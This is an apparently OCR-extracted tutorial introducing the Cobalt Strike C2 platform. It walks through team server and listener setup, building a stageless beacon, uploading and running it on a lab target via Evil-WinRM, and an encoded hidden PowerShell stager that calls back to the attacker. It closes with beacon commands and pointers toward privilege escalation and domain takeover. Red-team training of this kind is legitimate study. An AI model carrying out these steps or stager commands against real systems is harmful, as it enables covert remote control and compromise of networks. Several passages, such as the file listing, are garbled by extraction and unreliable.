Introduction to Cobalt Strike

0x01 What is Cobalt Strike



Cobalt Strike is a powerful platform for conducting offensive cyber operations. It contains a wide variety of tools for conducting spear phishing and web drive-by attacks to gain initial access. Through the artefact kit, Cobalt Strike also has a flexible obfuscation framework. However, it is in the arena of post-exploitation that Cobalt Strike really shines. It has a custom implant, called Beacon, which can handle command and control (C2) communications via HTTP(S), DNS and even SMB named pipes. Beacon has numerous options for lateral movement, e.g., WMI and psexec as well as the ability to load PowerShell and .Net assemblies for additional modules such as mimikatz.

If you haven't used Cobalt Strike before, Im going to presume that you haven't go a full licensed copy. A trial copy can be requested at the following URL: https://trial.cobaltstrike.com/. Installation and setup can be found here: https://trial.cobaltstrike.com/. Installation and setup can be found here: https://www.cobaltstrike.com/. Once you have your trial copy downloaded and pre-requisites installed you can begin.

0x02 Basics and Terminology

Cobalt Strike comes in a package that consists of a **client** and **server** files. The server is refereed to as the **team server**. The following are the files that you'll get once you download the package.

root@Boschk	(@012	3: 6 4 a	l5ien/cebi	alitistorieken	whic	h th	ie red-te	amer connects to the team server
🍺 lise CliBall								
total 27468	} /or							
drwxr-xr-x	′ [⊂] '4	501	dialout	4096	Apr	9	15:16	
drwxr-xr-x	148	root	root	12288	May	6	12:57	<u></u>
Whatxis-kh	ne t	ലത്തി.	dialer?	126	Dec	5	01:20	agscript
-rwxr-xr-x	1	501	dialout	144	Dec	5	01:20	c2lint
- rwxie tskihtsko	onth		dialout	on pavlo <mark>9</mark> 3	Dec	5	01:20	cobaltstrike
- rw - _l r _{ic} - _{fhe} - _h	nost 1 f	root	rootrikes	social 256	Mar	24	16:32	cobaltstrike.auth
- rw- r r	1	root	root	1447	Apr	ິ 9	15:08	.cobaltstrike.beacon keys
- rw-rr	1^{serv}	^{/e} 501	dialout	27440791	Mar	24	16:32	cobaltstrike.jar
- rw-lt-collects	s al l t	hoote	dentials th	iat are di <mark>ຊົອ</mark> ຜ	Apr	digi	15:16 ^s	t.cobaltstrike.tidense by
- rw-the-attac	ker 1 a	robt	t root syst	ems t 2675	iApr	9	15:07	cobaltstrike.store
- rw- r r	1	501	dialout	96104	Dec	5	01:20	icon.jpg

It is a simple bash script that calls for the Metasploit RPC service (msfrpcd) and starts the server with cobaltstrike.jar. This script can be customized according to the needs of the individual.

Note: It should be said that when starting your team server you can specify a kill date in (YYYY-MM-DD) in doing this the team server will embed this kill date into each Beacon stage it generates. This is useful as it prevents you from having to inform a client that they have to go around their system deleting sleeping Cobalt Strike beacons.

What is a Beacon?

A Beacon is a malicious agent / implant on a compromised system that calls back to the attacker controlled system and checks for any new commands that should be executed on the compromised system.

You essentially control your target's network with Cobalt Strike's Beacon's.

Beacon can walk through common proxy configurations and calls home to multiple hosts to resist blocking. You can also reprogram Beacon's to use targets network indicators to blend in within existing network traffic.

What is a Listener?

Listeners are services running on the attackers C2 server that is listening for beacon callbacks. That are essentially configured information for a payload and a directive for Cobalt Strike to stand up a server to receive connections from that payload.

They consist of a user-defined name, the type of payload, and several payload-specific options.

0x03 Getting Started

Starting the team server:

To start the team server you need two arguments. The **first** is the host (your IP or a IP that is reachable from the internet) note that if you are behind a home router you can port forward the listeners port on the router itself. The **second** is the password which will be used by the team server for authentication.



Now we can go ahead and start the Cobalt Strike client.

- The host is the team server IP or DNS name
- The user is anything you like
- The password is the password of the team server

Once you hit connect you will be greeted with the user interface of Cobalt Strike.

Cobalt Strike	×
Cobalt Strike View Attacks Reporting Help □ □ □ □ □ □ □ Φ □ ± P □ φ • □ □ Ø • □ = Ø	
🗼 external inte 🔺 listener user compu note process pid arch last	
Disconnect from team server This is known as the Vizualization Zone Connect to another team server	
Event Log X	
05/07 14:25:23 *** boschko has joined.	~
This is known as the Display Tabs	
[05/07 14:26] bacchka	- 001
event>	

The Virtualization zone is where the sessions and targets are displayed. It helps to better understand the network of a compromised host. The Display tabs is where you'll manage Cobalt Strike features and sessions for interaction.

Below is an image which gives us a quick breakdown of the toolbar icons:

Sources setworedistances by first clicking on the headphone icon which will spawn a tab in the Display Teb portion of the user interface. Then click Add to add a new listener. You can name your listener were want. Configurations as seen below:

	*
1	9
	5
	•

View screenshots

Generate a stageless Cobalt Strike executable or DLL

Setup the Java Signed Applet attack

Generate a malicious Microsoft Office macro

Stand up a Scripted Web Delivery attack



Visit the Cohalt Strike support page

		Cobalt Strike				
<u>C</u> obalt Strike <u>V</u> iew <u>A</u> ttacks <u>R</u> ep	orting <u>H</u> elp					
◨◨▯▯◙≘◈▫±ノ	P 🖬 💩 🖮 🗎 🗔 🥢					
external internal 🔺		New Listener	×	process	pid	arch
1	Create a listener.					
	Name: L1					
	Payload: Beacon HTTP	PS	-			
	Payload Options					
	HTTPS Hosts:	10.10.14.32		3		
			×			
A 7						
Event Log X Listeners X			J			
name 🔺 🛛 payload	HTTPS Host (Stager):	10.10.14.32]	peacons		profile
	Profile:	default 👻]			
	HTTPS Port (C2):	80]			
	HTTPS Port (Bind):]			
	HTTPS Host Header:		ĺ			
	HTTPS Proxy:	[
		Save Help				
	2	Add Edit Remove Restar	t Help	D		

Now with out new listener created and listening for a beacon callback we will go ahead and generate a stageless payload (remember payloads are called beacons). Follow the numbered steps as illustrated below.

				Cobalt	Strike					×
<u>C</u> obalt Strike <u>V</u> ier	w <u>A</u> ttacks <u>R</u> eporting	g <u>H</u> elp								
	= 🕂 🛤 🛃 🔑 🖬	🕸 🖢 🗎 🖂	8 🛋 📕 🏶							
external	internal 🔺	listener 1	user	computer	r note	process	pid	arch	i las	st
					Windows Executa	ble (Stageless)) ×			
				Export a s executab	stageless Beacon as le. Use Cobalt Strike	s a Windows e Arsenal scrip	ts (Help			
				Listener:				2		
				Output:	Windows EXE		•			
				x64:	🔲 Use x64 payload	k				
Event Log X	Listeners X			sign:	Sign executable	file				
name 🔺	payload		host		Generate	Help			profile	
L1	windows/beaco	n_http/reverse_h	ttp 10.1			Choose a pa	yload			×
			nan	ne	payload		hos	t	port	
			L1		windows/beac	on_http/rever	se_http 10.	10.14.32	80	_
							3			
			Add		Ch	noose Ado	Help			

Then click generate, and if everything goes well you'll get a pop-up that the beacon has been successfully created.

Now all that	t is left to d	o is to gen	erate the	previousl	y generat	ed bacon. I	n doing	so the C	Cobalt	
Strike clien	t which is c	onnected t	o the tear	n server i	will catch	the beacon	callbac	k.		
Export a st	ageless Be	acon as a V	Vindows	100110.			Currote			
Enpored	ageiese Let		11140110	Cobalt Str	ika					×
				Cobalt Stri	ке					~
<u>C</u> obalt Strike <u>V</u> iew	Attacks <u>R</u> eportin	g <u>H</u> elp								
	0 2 2 2 10		8 🛋 🗏 🗊							
external	internal 🔺	listener	user	computer	note	process	pid	arch	last	
10.10.10.180	10.10.10.180	L1	Administrator *	REMOTE		beacon.exe	5912	x64	40s	
* *										
Event Log X	steners X									
name 🔺	payload		host	port	bindto	beacons		pro	ofile	
L1	windows/beacc	on_http/reverse_ht	ttp 10.10.14.3	32 80		10.10.14.32		de	fault	
			Add Edit	Remove	Restart	Help				
Evil-WinRM P Info: Uploadin	C:\windows\s /root/beacon	ystem32\spool\ exe to C:\win	drivers\colo dows\system3	r> upload /r 2\spool\dri	root/beacon.e ers\color\br	exe Pacontexe				
Data: 384340 by										
Info: Upload s										
Evil-WinRM P *Evil-WinRM* P	cil-WinRM* PS C:\windows\system32\spool\drivers\color> start beacon.exe vil WinRM* PS C:\windows\system32\spool\drivers\color> □									

As you can see the beacon was uploaded to a server and ran. As a result we obtained a callback which is visually reflected in the Visualization zone of the user interface.

We can also obtain callbacks via crafted payloads by going to Attacks -> Packages -> Payload Generator, then selecting the listener and Generating the payload. This will create a default file entitled payload.txt.

And once ran on the aylogd (Geseration in the image below we obtain a second "session" on the target. This method is useful when trying to bypass AV with properly obfuscated shells. This dialog generates a payload to stage a Cobalt Strike listener. Several output options are available.

Listener:	L1
Output:	PowerShell Command
x64:	🔲 Use x64 payload
	Generate Help

							· · · · · · · · · · · · · · · · · · ·			
	external	internal 🔺	listener	user	computer	note	process	pid	arch	last
	10.10.10.180	10.10.10.180	L1	Administrator *	REMOTE		powershell.exe	3764	x86	27s
٦.	10.10.10.180	10.10.10.180		Administrator *	REMOTE		beacon.exe	5912	x64	53s
Ev	ent Log X Lis	teners X Bea	acon 10.10.10.18	0@5912 X						
										~
RE	.MOTE] Administ	.rator */5912 (x64)							last: 53s
<u>)ea</u>	<u>icon</u> >									
	il-WinRM* PS	C:\> powersh	ell -nop -w hi	idden -encode	dcommand JABz	AD0ATgBlAHcAL	QBPAGIAagBlAG	MAdAAgAEkA	TwAuAE0AZQB ⁺	tAG8AcgB5AFMA
уA	GUAYQBtACgALA	BbAEMAbwBuAH	YAZQBYAHQAXQAG	5ADoARgByAG8A	DQBCAGEAcwBlA	DYANABTAHQAcg	BpAG4AZwAoACI	ASAA0AHMASO	BBAEEAQQBB/	AEEAQQBBAEEAQ
ADE	EAWABIAFGATWB	pAHkAaABMACs	ASABIADGARGBIA		QB4AEIAVQBhAE	4ANWBLAGWAVQB	MAEMASQBXAEMA	YgAVAGCAUWE	36AFUADQBSAF	FIAaABnAFIAQgi
GE7 LIAN	WABRAGMAQWBO		ZWBKAHEAVABQAR	POAdQASAGQANG BAWARiAFOAcAB	32AHUAdabzaha 1AHgaoorvaeta	ΑΘΟΒΤΑΕΘΑΟΟΒΙ	ADYAWAA3ADYADU Geayob2aGoaya	JBAADUARWBI BEAG8AYaB2/	AC8A3ABLAH	AMWBLAGWAWQB AMWBLAETAMABO
40(OBZAFEAUOB3AF	EOASWBTAC8A0wl	BaAGOAagBFAEE/	AOWBIAEsAdAAW	AGUAUOBmAEOAb	OBJAEMATWB5AF	kAWaBuAEsAWAB	6AEoA0aBhAl	EUAUOBCAHAAI	RwA5AHUA0wBaA
NQE	BWAE8AUwBHAFk	KAQQB2AGYAWAB	JAEMAdABJADMA	eAB6AEkATgA0A	GgASQB5AFEAYg	BsAFYANAA0AHo	AKwBzAGcAQgAx	AGoAdQA2ADI	JAYwB2AFEAa/	ABRAEUAMABNAF
aA	5ADAAbwBYAFk#	AaOAOAEOAbwBi	AE8AeABMAFIAa(QBXAGEATwBvAG	IAdABkAHoAQqB	BAE4ANgBQAE4A	bgB1AG8AWQArA	G8AdgA2AHY/	AYQB0ADAAcgl	BYAFIAQqB0AGc

Now to interact with the beacon, right click the beacon and select interact. Note that the new tab opening in the Display zone will appear. This is what allows us, the attacker to issue commands to the beacon. (These are only extremely basic)

```
# List the file on the specified directory
beacon > ls <C: \Path>

# Change into the specified working directory
beacon > cd [directory]

# Delete a file\folder
beacon > rm [file\folder]

# File copy
beacon > cp [src] [dest]

# Download a file from the path on the Beacon host
beacon > downloads in progress
beacon > downloads
```

```
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```

shell dir This will spawn a cmd.exe process, execute the command, and relay the output back to you. If you'd like to change the directory, don't use shell cd. This will change the directory in the cmd.exe that gets spawned.

```
beacon> shell dir
[*] Tasked beacon to run: dir
[+] host called home, sent: 68 bytes
[+] received output:
Volume in drive C has no label.
Volume Serial Number is BE23-EB3E
Directory of C:\windows\system32\spool\drivers\color
```

Now really the possibilities are endless... we can start doing local privilege escalation:

<u>beacon</u>> powershell Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System [*] Tasked beacon to run: Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System [+] host called home, sent: 279 bytes [+] received output: #< CLIXML :5:3 ConsentPromptBehaviorAdmin ConsentPromptBehaviorUser : DelayedDesktopSwitchTimeout : DisableAutomaticRestartSignOn : : 0 1 DSCAutomationHostEnabled 2 EnableCursorSuppression EnableFullTrustStartupTasks EnableInstallerDetection EnableLUA 1 EnableSecureUIAPaths EnableUIADesktopToggle 0 EnableUwpStartupTasks : 2 EnableVirtualization PromptOnSecureDesktop 1 SupportFullTrustStartupTasks SupportUwpStartupTasks ValidateAdminCodeSignatures 0 disablecad 0 dontdisplaylastusername 0 legalnoticecaption legalnoticetext scforceoption shutdownwithoutlogon : 0 : 0 undockwithoutlogon 1 : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curre PSPath ntVersion\Policies\System : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curre PSParentPath ntVersion\Policies PSChildName : System PSDrive PSProvider : HKLM : Microsoft.PowerShell.Core\Registry

powershell Get-ItemProperty HKLM: \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

ConsentPromptBehaviorAdmin : 5 ---> This option prompts the Consent Admin to enter his or

her user name and password (or another valid admin) when an operation requires elevation of privilege. This operation occurs on the secure desktop. ConsentPromptBehaviorUser : 3 ---> This option SHOULD be set to ensure that a standard user that needs to perform an operation that requires elevation of privilege will be prompted for an administrative user name and password. If the user enters valid credentials, the operation will continue with the applicable privilege. : 1 ---> This policy enables the "administrator in Admin EnableLUA Approval Mode" user type while also enabling all other User Account Control (UAC) policies. : 1 ---> This policy will force all UAC prompts to happen on PromptOnSecureDesktop the user's secure desktop.

At this point really you should go ahead and import PowerView into the CobaltStrike beacon and run Add-DomainObjectAcl for all rights on xxx.local. Maybe even do some powershell Invoke-JserHunter get a user then make token and then go for some sexy krbtgt to get DA.

This is all for now. In other page we'll go more in depth, looking at modules creating malleable c2's, custom payloads, Metasploit compatibility, more Beacons such as SMB, and so on...

Stay Tuned!

References:

- https://www.cobaltstrike.com/downloads/csmanual40.pdf
- https://www.cobaltstrike.com/help-beacon

By Boschko

- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

hage not to unknown

Revision #6 Created 7 May 2020 16:07:45 by Boschko Updated 26 May 2020 14:11:07 by Boschko